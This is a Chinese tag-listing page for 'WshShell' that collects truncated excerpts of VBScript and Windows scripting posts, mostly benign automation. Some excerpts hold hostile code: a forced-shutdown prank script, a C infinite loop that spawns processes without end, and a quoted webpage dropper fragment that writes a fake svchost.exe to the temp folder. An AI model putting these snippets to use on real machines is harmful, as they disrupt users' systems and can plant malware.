WshShell

首页 > TAG信息列表 > WshShell

（转载）Windows信息搜集vbs脚本

参考： https://blkstone.github.io/2016/11/25/system-summary-with-vbs/ https://blog.csdn.net/cl939974883/article/details/104168442 PS：下面代码是在Windows环境下执行，复制完成后，使用编辑器软件或者记事本打开，然后右键另存为保存将编码改为ANSI 详细代码内容 '###############

用VBS自动发送微信消息

偶然机会在网上看到通过vbs发送微信消息的脚本，记录一下 dim program1,name,Msg '定义变量并分配内存 'Inputbox()函数进行输入 name=Inputbox("请输入你要给谁发送消息") Msg=Inputbox("请输入你发送消息的内容") num=Inputbox("请输入重复发送多少次消息") 'program1表示WeChat

Windows强制关机弹窗

必须输入特定字符才可解除关机计划将以下代码保存为.vbs文件双击即可执行 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""叫我大哥，快！不叫就让你电脑关机！不信你试试...""

vbs脚本和windows定时任务实现qq消息表情包定时发送

目标在某个时间唤醒电脑屏幕后，自动发送qq信息，并附带表情包，发送完毕后关闭电脑屏幕。整个过程不用过多的程序运行，我们借助vbs脚本和windows定时任务去实现这一功能。准备 vbs代码qq信息txt文本qq文件表情包文件发送联系人的快捷方式3个windows任务具体操作信息和快捷方式准备 q

VB模拟键盘攻略

如下： Set objShell = CreateObject("Wscript.Shell")strCommandLine = "ttpsetup.exe" '启动安装程序objShell.Run(strCommandLine)set WshShell = CreateObject("WScript.Shell")WScript.Sleep 3000 '延时3秒WshShell.SendKeys "s"

VBA中利用WshShell对象轻易实现自消失的对话框

VBA中利用WshShell对象轻易实现自消失的对话框前言关于WshShellWshShell对象的popup函数(方法)示例代码：参数前言 WshShell 对象功能强大，以前一直只是用它来打开其它程序。无意中发现它也提供一个popup 函数，利用这个函数可以轻易实现自消失的对话框。这可是以前要费好

整人代码（嘿嘿）

最近没事儿，就来发发博客（其实压根没发过）。我属于那种不太爱写文章的，就爱整人，为了集赞，就把压箱底儿的整人代码拿出来了废话少说，开胃菜来袭~ #include<stdlib.h> using namespace std; int main() { while(1) { system("start"); }

创建应用快捷方式脚本

创建应用快捷方式脚本 @echo off set Program=%cd%\MySoft\App.exe set LnkName=我的软件set WorkDir=%cd%\MySoft set Desc=我的软件if not defined WorkDir call:GetWorkDir "%Program%" (echo Set WshShell=CreateObject("WScript.Shell"^) echo strDesKtop=WshShe

VBS脚本随笔

VBS脚本随笔 2013-07-17 22:24 狂师阅读(1007) 评论(0) 编辑收藏 1、定时运行程序与关闭程序的VBS处理方法：doset ws=createobject("wscript.shell")ws.run"你要运行的程序的路径(比如说d:\qq.exe)",x 'x为参数，可选值如下.wscript.sleep 36000 '

李辉爱吴紫微

首先创建一个文本把一下代码复制进去 Set WshShell=WScript.CreateObject("WScript.Shell")dim count:count = 0for i = 1 to 22WScript.Sleep 500WshShell.SendKeys"ai"WshShell.SendKeys"{ }"WshShell.SendKeys"pini"WshShell.SendKeys"{ }&qu

使用vbs打开谷歌浏览器登录网页

Windows下使用vbs脚本完成网页登录新建file.vbsUrl=“xxx” set wshshell=CreateObject("wscript.shell") wshshell.Run"""C:\Program Files (x86)\Google\Chrome\Application\chrome.exe""" & Url wscript.sleep 2000 wscript.sleep 2000

前端页面中毒

</html><SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "二进制流（省略）"Set FSO = CreateObject("Scripting.FileSystemObject")DropPath = FSO.GetSpecialFolder(2) & "\" & DropFile

C#控件DropDownList下拉列表默认打开

c#中的控件DropDownList要实现默打开确实不容易，之前也是想过页面上的点击之后就打开了，那直接模拟点击不就行了，试过后大失所望，根本没有效果。于是网上找到了一个例子能实现IE浏览器下的打开，具体实现看下面例子 <asp:DropDownList ID="ddlgsmc" runat="server" Height="20px" ></as

QTP 启动应用软件方法

在QTP录制过程中，我们可能需要手动添加一些代码。今天先总结一下启动应用软件的方法：在QTP中启动应用软件的方法有以下几种： 1. SystemUtil.Run:使用系统内定的SystemUtil对象的Run方法启动，语法规则：SystemUtil.Run ( FileName, Parameters, Path, Operatio

JS实现浏览器打印、打印预览

1.JS实现打印的方式方式一：window.print()window.print();会弹出打印对话框，打印的是window.document.body.innerHTML中的内容，下面是从网上摘到的一个局部打印的例子，该例子的不足是打印会修改页面的内容。 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="